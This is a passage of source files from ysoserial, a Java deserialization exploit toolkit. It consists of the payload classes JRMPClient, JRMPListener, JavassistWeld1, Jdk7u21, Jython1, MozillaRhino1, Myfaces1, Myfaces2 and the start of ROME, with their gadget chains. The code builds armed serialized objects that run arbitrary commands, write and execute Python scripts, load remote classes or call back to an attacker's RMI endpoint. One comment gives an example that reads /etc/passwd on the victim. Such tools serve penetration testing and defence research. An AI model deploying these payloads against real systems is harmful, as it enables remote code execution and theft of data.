DGCImpl_Stub.dirty(ObjID[], long, Lease) 23 | * DGCClient$EndpointEntry.makeDirtyCall(Set, long) 24 | * DGCClient$EndpointEntry.registerRefs(List) 25 | * DGCClient.registerRefs(Endpoint, List) 26 | * LiveRef.read(ObjectInput, boolean) 27 | * UnicastRef.readExternal(ObjectInput) 28 | * 29 | * Thread.start() 30 | * DGCClient$EndpointEntry.(Endpoint) 31 | * DGCClient$EndpointEntry.lookup(Endpoint) 32 | * DGCClient.registerRefs(Endpoint, List) 33 | * LiveRef.read(ObjectInput, boolean) 34 | * UnicastRef.readExternal(ObjectInput) 35 | * 36 | * Requires: 37 | * - JavaSE 38 | * 39 | * Argument: 40 | * - host:port to connect to, host only chooses random port (DOS if repeated many times) 41 | * 42 | * Yields: 43 | * * an established JRMP connection to the endpoint (if reachable) 44 | * * a connected RMI Registry proxy 45 | * * one system thread per endpoint (DOS) 46 | * 47 | * @author mbechler 48 | */ 49 | @SuppressWarnings ( { 50 | "restriction" 51 | } ) 52 | @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") 53 | @Authors({ Authors.MBECHLER }) 54 | public class JRMPClient extends PayloadRunner implements ObjectPayload { 55 | 56 | public Registry getObject ( final String command ) throws Exception { 57 | 58 | String host; 59 | int port; 60 | int sep = command.indexOf(':'); 61 | if ( sep < 0 ) { 62 | port = new Random().nextInt(65535); 63 | host = command; 64 | } 65 | else { 66 | host = command.substring(0, sep); 67 | port = Integer.valueOf(command.substring(sep + 1)); 68 | } 69 | ObjID id = new ObjID(new Random().nextInt()); // RMI registry 70 | TCPEndpoint te = new TCPEndpoint(host, port); 71 | UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); 72 | RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); 73 | Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { 74 | Registry.class 75 | }, obj); 76 | return proxy; 77 | } 78 | 79 | 80 | public static void main ( final String[] args ) throws Exception { 81 | Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); 82 | PayloadRunner.run(JRMPClient.class, args); 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/JRMPListener.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import java.rmi.server.RemoteObject; 5 | import java.rmi.server.RemoteRef; 6 | import java.rmi.server.UnicastRemoteObject; 7 | 8 | import sun.rmi.server.ActivationGroupImpl; 9 | import sun.rmi.server.UnicastServerRef; 10 | import ysoserial.payloads.annotation.Authors; 11 | import ysoserial.payloads.annotation.PayloadTest; 12 | import ysoserial.payloads.util.PayloadRunner; 13 | import ysoserial.payloads.util.Reflections; 14 | 15 | 16 | /** 17 | * Gadget chain: 18 | * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 19 | * UnicastRemoteObject.reexport() line: 266 20 | * UnicastRemoteObject.exportObject(Remote, int) line: 320 21 | * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 22 | * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 23 | * LiveRef.exportObject(Target) line: 147 24 | * TCPEndpoint.exportObject(Target) line: 411 25 | * TCPTransport.exportObject(Target) line: 249 26 | * TCPTransport.listen() line: 319 27 | * 28 | * Requires: 29 | * - JavaSE 30 | * 31 | * Argument: 32 | * - Port number to open listener to 33 | */ 34 | @SuppressWarnings ( { 35 | "restriction" 36 | } ) 37 | @PayloadTest( skip = "This test would make you potentially vulnerable") 38 | @Authors({ Authors.MBECHLER }) 39 | public class JRMPListener extends PayloadRunner implements ObjectPayload { 40 | 41 | public UnicastRemoteObject getObject ( final String command ) throws Exception { 42 | int jrmpPort = Integer.parseInt(command); 43 | UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] { 44 | RemoteRef.class 45 | }, new Object[] { 46 | new UnicastServerRef(jrmpPort) 47 | }); 48 | 49 | Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); 50 | return uro; 51 | } 52 | 53 | 54 | public static void main ( final String[] args ) throws Exception { 55 | PayloadRunner.run(JRMPListener.class, args); 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/JavassistWeld1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; 5 | import org.jboss.weld.interceptor.builder.MethodReference; 6 | import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; 7 | import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; 8 | import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; 9 | import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; 10 | import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; 11 | import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; 12 | import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; 13 | import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; 14 | import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; 15 | import org.jboss.weld.interceptor.spi.model.InterceptionModel; 16 | import org.jboss.weld.interceptor.spi.model.InterceptionType; 17 | import ysoserial.payloads.annotation.Authors; 18 | import ysoserial.payloads.annotation.Dependencies; 19 | import ysoserial.payloads.annotation.PayloadTest; 20 | import ysoserial.payloads.util.Gadgets; 21 | import ysoserial.payloads.util.JavaVersion; 22 | import ysoserial.payloads.util.PayloadRunner; 23 | import ysoserial.payloads.util.Reflections; 24 | 25 | import java.lang.reflect.Constructor; 26 | import java.util.*; 27 | 28 | /* 29 | by @matthias_kaiser 30 | */ 31 | @SuppressWarnings({"rawtypes", "unchecked"}) 32 | @PayloadTest(precondition = "isApplicableJavaVersion") 33 | @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", 34 | "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", 35 | "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" }) 36 | @Authors({ Authors.MATTHIASKAISER }) 37 | public class JavassistWeld1 implements ObjectPayload { 38 | public static boolean isApplicableJavaVersion() { 39 | return JavaVersion.isAtLeast(7); 40 | } 41 | 42 | public Object getObject(final String command) throws Exception { 43 | 44 | final Object gadget = Gadgets.createTemplatesImpl(command); 45 | 46 | InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); 47 | ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); 48 | InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); 49 | 50 | Set s = new HashSet(); 51 | s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); 52 | 53 | Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); 54 | Reflections.setAccessible(defaultMethodMetadataConstructor); 55 | MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, 56 | MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); 57 | 58 | List list = new ArrayList(); 59 | list.add(methodMetadata); 60 | Map> hashMap = new HashMap>(); 61 | 62 | hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); 63 | SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); 64 | 65 | builder.interceptAll().with(simpleInterceptorMetadata); 66 | 67 | InterceptionModel model = builder.build(); 68 | 69 | HashMap map = new HashMap(); 70 | map.put("ysoserial", "ysoserial"); 71 | 72 | DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); 73 | 74 | InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { 75 | 76 | public Object createFor(InterceptorReference paramInterceptorReference) { 77 | 78 | return gadget; 79 | } 80 | }; 81 | 82 | return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); 83 | 84 | } 85 | 86 | 87 | public static void main(final String[] args) throws Exception { 88 | PayloadRunner.run(JavassistWeld1.class, args); 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Jdk7u21.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.HashMap; 5 | import java.util.LinkedHashSet; 6 | 7 | import javax.xml.transform.Templates; 8 | 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.annotation.PayloadTest; 12 | import ysoserial.payloads.util.Gadgets; 13 | import ysoserial.payloads.util.JavaVersion; 14 | import ysoserial.payloads.util.PayloadRunner; 15 | import ysoserial.payloads.util.Reflections; 16 | 17 | 18 | /* 19 | 20 | Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has 21 | the same JRE version requirements. 22 | 23 | See: https://gist.github.com/frohoff/24af7913611f8406eaf3 24 | 25 | Call tree: 26 | 27 | LinkedHashSet.readObject() 28 | LinkedHashSet.add() 29 | ... 30 | TemplatesImpl.hashCode() (X) 31 | LinkedHashSet.add() 32 | ... 33 | Proxy(Templates).hashCode() (X) 34 | AnnotationInvocationHandler.invoke() (X) 35 | AnnotationInvocationHandler.hashCodeImpl() (X) 36 | String.hashCode() (0) 37 | AnnotationInvocationHandler.memberValueHashCode() (X) 38 | TemplatesImpl.hashCode() (X) 39 | Proxy(Templates).equals() 40 | AnnotationInvocationHandler.invoke() 41 | AnnotationInvocationHandler.equalsImpl() 42 | Method.invoke() 43 | ... 44 | TemplatesImpl.getOutputProperties() 45 | TemplatesImpl.newTransformer() 46 | TemplatesImpl.getTransletInstance() 47 | TemplatesImpl.defineTransletClasses() 48 | ClassLoader.defineClass() 49 | Class.newInstance() 50 | ... 51 | MaliciousClass.() 52 | ... 53 | Runtime.exec() 54 | */ 55 | 56 | @SuppressWarnings({ "rawtypes", "unchecked" }) 57 | @PayloadTest ( precondition = "isApplicableJavaVersion") 58 | @Dependencies() 59 | @Authors({ Authors.FROHOFF }) 60 | public class Jdk7u21 implements ObjectPayload { 61 | 62 | public Object getObject(final String command) throws Exception { 63 | final Object templates = Gadgets.createTemplatesImpl(command); 64 | 65 | String zeroHashCodeStr = "f5a5a608"; 66 | 67 | HashMap map = new HashMap(); 68 | map.put(zeroHashCodeStr, "foo"); 69 | 70 | InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); 71 | Reflections.setFieldValue(tempHandler, "type", Templates.class); 72 | Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); 73 | 74 | LinkedHashSet set = new LinkedHashSet(); // maintain order 75 | set.add(templates); 76 | set.add(proxy); 77 | 78 | Reflections.setFieldValue(templates, "_auxClasses", null); 79 | Reflections.setFieldValue(templates, "_class", null); 80 | 81 | map.put(zeroHashCodeStr, templates); // swap in real object 82 | 83 | return set; 84 | } 85 | 86 | public static boolean isApplicableJavaVersion() { 87 | JavaVersion v = JavaVersion.getLocalVersion(); 88 | return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); 89 | } 90 | 91 | public static void main(final String[] args) throws Exception { 92 | PayloadRunner.run(Jdk7u21.class, args); 93 | } 94 | 95 | } 96 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Jython1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.io.FileUtils; 4 | import org.python.core.*; 5 | 6 | import java.math.BigInteger; 7 | import java.io.File; 8 | import java.lang.reflect.Proxy; 9 | import java.util.Arrays; 10 | import java.util.Comparator; 11 | import java.util.PriorityQueue; 12 | 13 | import ysoserial.payloads.annotation.Authors; 14 | import ysoserial.payloads.util.Reflections; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.annotation.PayloadTest; 17 | import ysoserial.payloads.util.PayloadRunner; 18 | 19 | /** 20 | * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) 21 | * 22 | * This version of Jython1 writes a python script on the victim machine and 23 | * executes it. The format of the parameters is: 24 | * 25 | * ; 26 | * 27 | * Where local path is the python script's location on the attack box and 28 | * remote path is the location where the script will be written/executed from. 29 | * For example: 30 | * 31 | * "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py" 32 | * 33 | * In the above example, if "read_etc_passwd.py" simply contained the string: 34 | * 35 | * raise Exception(open('/etc/passwd', 'r').read()) 36 | * 37 | * Then, when deserialized, the script will read in /etc/passwd and raise an 38 | * exception with its contents (which could be useful if the target returns 39 | * exception information). 40 | */ 41 | 42 | @PayloadTest(skip="non RCE") 43 | @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) 44 | @Dependencies({ "org.python:jython-standalone:2.5.2" }) 45 | @Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 }) 46 | public class Jython1 extends PayloadRunner implements ObjectPayload { 47 | 48 | public PriorityQueue getObject(String command) throws Exception { 49 | 50 | String[] paths = command.split(";"); 51 | if (paths.length != 2) { 52 | throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths)); 53 | } 54 | 55 | // Set payload parameters 56 | String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8"); 57 | 58 | // Python bytecode to write a file on disk and execute it 59 | String code = 60 | "740000" + //0 LOAD_GLOBAL 0 (open) 61 | "640100" + //3 LOAD_CONST 1 (remote path) 62 | "640200" + //6 LOAD_CONST 2 ('w+') 63 | "830200" + //9 CALL_FUNCTION 2 64 | "7D0000" + //12 STORE_FAST 0 (file) 65 | 66 | "7C0000" + //15 LOAD_FAST 0 (file) 67 | "690100" + //18 LOAD_ATTR 1 (write) 68 | "640300" + //21 LOAD_CONST 3 (python code) 69 | "830100" + //24 CALL_FUNCTION 1 70 | "01" + //27 POP_TOP 71 | 72 | "7C0000" + //28 LOAD_FAST 0 (file) 73 | "690200" + //31 LOAD_ATTR 2 (close) 74 | "830000" + //34 CALL_FUNCTION 0 75 | "01" + //37 POP_TOP 76 | 77 | "740300" + //38 LOAD_GLOBAL 3 (execfile) 78 | "640100" + //41 LOAD_CONST 1 (remote path) 79 | "830100" + //44 CALL_FUNCTION 1 80 | "01" + //47 POP_TOP 81 | "640000" + //48 LOAD_CONST 0 (None) 82 | "53"; //51 RETURN_VALUE 83 | 84 | // Helping consts and names 85 | PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; 86 | String[] names = new String[]{"open", "write", "close", "execfile"}; 87 | 88 | // Generating PyBytecode wrapper for our python bytecode 89 | PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "", 0, ""); 90 | Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); 91 | 92 | // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method 93 | PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); 94 | 95 | // Prepare Trigger Gadget 96 | Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); 97 | PriorityQueue priorityQueue = new PriorityQueue(2, comparator); 98 | Object[] queue = new Object[] {1,1}; 99 | Reflections.setFieldValue(priorityQueue, "queue", queue); 100 | Reflections.setFieldValue(priorityQueue, "size", 2); 101 | 102 | return priorityQueue; 103 | } 104 | 105 | public static void main(final String[] args) throws Exception { 106 | PayloadRunner.run(Jython1.class, args); 107 | } 108 | } 109 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/MozillaRhino1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import org.mozilla.javascript.*; 5 | import ysoserial.payloads.annotation.Authors; 6 | import ysoserial.payloads.annotation.Dependencies; 7 | import ysoserial.payloads.annotation.PayloadTest; 8 | import ysoserial.payloads.util.Gadgets; 9 | import ysoserial.payloads.util.JavaVersion; 10 | import ysoserial.payloads.util.PayloadRunner; 11 | import ysoserial.payloads.util.Reflections; 12 | 13 | import javax.management.BadAttributeValueExpException; 14 | import java.lang.reflect.Constructor; 15 | import java.lang.reflect.Field; 16 | import java.lang.reflect.Method; 17 | 18 | /* 19 | by @matthias_kaiser 20 | */ 21 | @SuppressWarnings({"rawtypes", "unchecked"}) 22 | @PayloadTest( precondition = "isApplicableJavaVersion") 23 | @Dependencies({"rhino:js:1.7R2"}) 24 | @Authors({ Authors.MATTHIASKAISER }) 25 | public class MozillaRhino1 implements ObjectPayload { 26 | 27 | public Object getObject(final String command) throws Exception { 28 | 29 | Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); 30 | Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); 31 | Reflections.setAccessible(nativeErrorConstructor); 32 | IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); 33 | 34 | Context context = Context.enter(); 35 | 36 | NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); 37 | 38 | Method enterMethod = Context.class.getDeclaredMethod("enter"); 39 | NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); 40 | idScriptableObject.setGetterOrSetter("name", 0, method, false); 41 | 42 | Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); 43 | NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); 44 | idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); 45 | 46 | Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); 47 | Reflections.setAccessible(getSlot); 48 | Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); 49 | Field getter = slot.getClass().getDeclaredField("getter"); 50 | Reflections.setAccessible(getter); 51 | 52 | Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); 53 | Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); 54 | Reflections.setAccessible(memberboxClassConstructor); 55 | Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); 56 | getter.set(slot, memberboxes); 57 | 58 | NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class); 59 | idScriptableObject.setPrototype(nativeObject); 60 | 61 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 62 | Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); 63 | Reflections.setAccessible(valField); 64 | valField.set(badAttributeValueExpException, idScriptableObject); 65 | 66 | return badAttributeValueExpException; 67 | } 68 | 69 | public static void main(final String[] args) throws Exception { 70 | PayloadRunner.run(MozillaRhino1.class, args); 71 | } 72 | 73 | public static boolean isApplicableJavaVersion() { 74 | return JavaVersion.isBadAttrValExcReadObj(); 75 | } 76 | 77 | } 78 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Myfaces1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | 5 | import javax.el.ELContext; 6 | import javax.el.ExpressionFactory; 7 | import javax.el.ValueExpression; 8 | import javax.servlet.ServletContext; 9 | import javax.servlet.ServletRequest; 10 | import javax.servlet.ServletResponse; 11 | 12 | import org.apache.myfaces.context.servlet.FacesContextImpl; 13 | import org.apache.myfaces.context.servlet.FacesContextImplBase; 14 | import org.apache.myfaces.el.CompositeELResolver; 15 | import org.apache.myfaces.el.unified.FacesELContext; 16 | import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; 17 | 18 | import ysoserial.payloads.annotation.Authors; 19 | import ysoserial.payloads.annotation.PayloadTest; 20 | import ysoserial.payloads.util.Gadgets; 21 | import ysoserial.payloads.util.PayloadRunner; 22 | import ysoserial.payloads.util.Reflections; 23 | 24 | 25 | /** 26 | * 27 | * ValueExpressionImpl.getValue(ELContext) 28 | * ValueExpressionMethodExpression.getMethodExpression(ELContext) 29 | * ValueExpressionMethodExpression.getMethodExpression() 30 | * ValueExpressionMethodExpression.hashCode() 31 | * HashMap.hash(Object) 32 | * HashMap.readObject(ObjectInputStream) 33 | * 34 | * Arguments: 35 | * - an EL expression to execute 36 | * 37 | * Requires: 38 | * - MyFaces 39 | * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) 40 | * 41 | * @author mbechler 42 | */ 43 | @PayloadTest(skip="Requires running MyFaces, no direct execution") 44 | @Authors({ Authors.MBECHLER }) 45 | public class Myfaces1 implements ObjectPayload, DynamicDependencies { 46 | 47 | public Object getObject ( String command ) throws Exception { 48 | return makeExpressionPayload(command); 49 | } 50 | 51 | 52 | public static String[] getDependencies () { 53 | if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { 54 | return new String[] { 55 | "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", 56 | "org.mortbay.jasper:apache-el:8.0.27", 57 | "javax.servlet:javax.servlet-api:3.1.0", 58 | 59 | // deps for mocking the FacesContext 60 | "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" 61 | }; 62 | } else if ( "juel".equals(System.getProperty("el")) ) { 63 | return new String[] { 64 | "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", 65 | "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", 66 | "javax.servlet:javax.servlet-api:3.1.0", 67 | 68 | // deps for mocking the FacesContext 69 | "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" 70 | }; 71 | } 72 | 73 | throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); 74 | } 75 | 76 | public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception { 77 | FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); 78 | ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); 79 | Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); 80 | ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); 81 | 82 | ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); 83 | ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); 84 | ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); 85 | ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); 86 | 87 | return Gadgets.makeMap(e2, e); 88 | } 89 | 90 | 91 | public static void main ( final String[] args ) throws Exception { 92 | PayloadRunner.run(Myfaces1.class, args); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Myfaces2.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | 5 | import ysoserial.payloads.annotation.Authors; 6 | import ysoserial.payloads.annotation.PayloadTest; 7 | import ysoserial.payloads.util.JavaVersion; 8 | import ysoserial.payloads.util.PayloadRunner; 9 | 10 | 11 | /** 12 | * 13 | * ValueExpressionImpl.getValue(ELContext) 14 | * ValueExpressionMethodExpression.getMethodExpression(ELContext) 15 | * ValueExpressionMethodExpression.getMethodExpression() 16 | * ValueExpressionMethodExpression.hashCode() 17 | * HashMap.hash(Object) 18 | * HashMap.readObject(ObjectInputStream) 19 | * 20 | * Arguments: 21 | * - base_url:classname 22 | * 23 | * Yields: 24 | * - Instantiation of remotely loaded class 25 | * 26 | * Requires: 27 | * - MyFaces 28 | * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) 29 | * 30 | * @author mbechler 31 | */ 32 | @PayloadTest(harness="ysoserial.test.payloads.MyfacesTest", precondition = "isApplicableJavaVersion") 33 | @Authors({ Authors.MBECHLER }) 34 | public class Myfaces2 implements ObjectPayload, DynamicDependencies { 35 | public static boolean isApplicableJavaVersion() { 36 | return JavaVersion.isAtLeast(7); 37 | } 38 | 39 | public static String[] getDependencies () { 40 | return Myfaces1.getDependencies(); 41 | } 42 | 43 | 44 | public Object getObject ( String command ) throws Exception { 45 | int sep = command.lastIndexOf(':'); 46 | if ( sep < 0 ) { 47 | throw new IllegalArgumentException("Command format is: :"); 48 | } 49 | 50 | String url = command.substring(0, sep); 51 | String className = command.substring(sep + 1); 52 | 53 | // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ 54 | String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; 55 | 56 | // if we add fewer than the actual classloaders we end up with a null entry 57 | for ( int i = 0; i < 100; i++ ) { 58 | expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; 59 | } 60 | expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" 61 | + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; 62 | 63 | return Myfaces1.makeExpressionPayload(expr); 64 | } 65 | 66 | 67 | public static void main ( final String[] args ) throws Exception { 68 | PayloadRunner.run(Myfaces2.class, args); 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/ObjectPayload.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import java.lang.reflect.Modifier; 5 | import java.util.Iterator; 6 | import java.util.Set; 7 | 8 | import org.reflections.Reflections; 9 | 10 | import ysoserial.GeneratePayload; 11 | 12 | 13 | @SuppressWarnings ( "rawtypes" ) 14 | public interface ObjectPayload { 15 | 16 | /* 17 | * return armed payload object to be serialized that will execute specified 18 | * command on deserialization 19 | */ 20 | public T getObject ( String command ) throws Exception; 21 | 22 | public static class Utils { 23 | 24 | // get payload classes by classpath scanning 25 | public static Set> getPayloadClasses () { 26 | final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); 27 | final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); 28 | for ( Iterator> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { 29 | Class pc = iterator.next(); 30 | if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { 31 | iterator.remove(); 32 | } 33 | } 34 | return payloadTypes; 35 | } 36 | 37 | 38 | @SuppressWarnings ( "unchecked" ) 39 | public static Class getPayloadClass ( final String className ) { 40 | Class clazz = null; 41 | try { 42 | clazz = (Class) Class.forName(className); 43 | } 44 | catch ( Exception e1 ) {} 45 | if ( clazz == null ) { 46 | try { 47 | return clazz = (Class) Class 48 | .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); 49 | } 50 | catch ( Exception e2 ) {} 51 | } 52 | if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { 53 | clazz = null; 54 | } 55 | return clazz; 56 | } 57 | 58 | 59 | public static Object makePayloadObject ( String payloadType, String payloadArg ) { 60 | final Class payloadClass = getPayloadClass(payloadType); 61 | if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { 62 | throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); 63 | 64 | } 65 | 66 | final Object payloadObject; 67 | try { 68 | final ObjectPayload payload = payloadClass.newInstance(); 69 | payloadObject = payload.getObject(payloadArg); 70 | } 71 | catch ( Exception e ) { 72 | throw new IllegalArgumentException("Failed to construct payload", e); 73 | } 74 | return payloadObject; 75 | } 76 | 77 | 78 | @SuppressWarnings ( "unchecked" ) 79 | public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { 80 | if ( payload instanceof ReleaseableObjectPayload ) { 81 | ( (ReleaseableObjectPayload) payload ).release(object); 82 | } 83 | } 84 | 85 | 86 | public static void releasePayload ( String payloadType, Object payloadObject ) { 87 | final Class payloadClass = getPayloadClass(payloadType); 88 | if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { 89 | throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); 90 | 91 | } 92 | 93 | try { 94 | final ObjectPayload payload = payloadClass.newInstance(); 95 | releasePayload(payload, payloadObject); 96 | } 97 | catch ( Exception e ) { 98 | e.printStackTrace(); 99 | } 100 | 101 | } 102 | } 103 | } 104 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/ROME.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import javax.xml.transform.Templates; 5 | 6 | import com.sun.syndication.feed.impl.ObjectBean; 7 | 8 | import ysoserial.payloads.annotation.Authors; 9 | import ysoserial.payloads.annotation.Dependencies; 10 | import ysoserial.payloads.util.Gadgets; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | 13 | /** 14 | * 15 | * TemplatesImpl.getOutputProperties() 16 | * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) 17 | * NativeMethodAccessorImpl.invoke(Object, Object[]) 18 | * DelegatingMethodAccessorImpl.invoke(Object, Object[]) 19 | * Method.invoke(Object, Object...) 20 | * ToStringBean.toString(String) 21 | * ToStringBean.toString() 22 | * ObjectBean.toString() 23 | * EqualsBean.beanHashCode() 24 | * ObjectBean.hashCode() 25 | * HashMap.hash(Object) 26 | * HashMap.readObject(ObjectInputStream) 27 | * 28 | * @author mbechler 29 | * 30 | */ 31 | @Dependencies("rome:rome:1.0") 32 | @Authors({ Authors.MBECHLER }) 33 | public class ROME implements ObjectPayload { 34 | 35 | public Object getObject ( String command ) throws Exception { 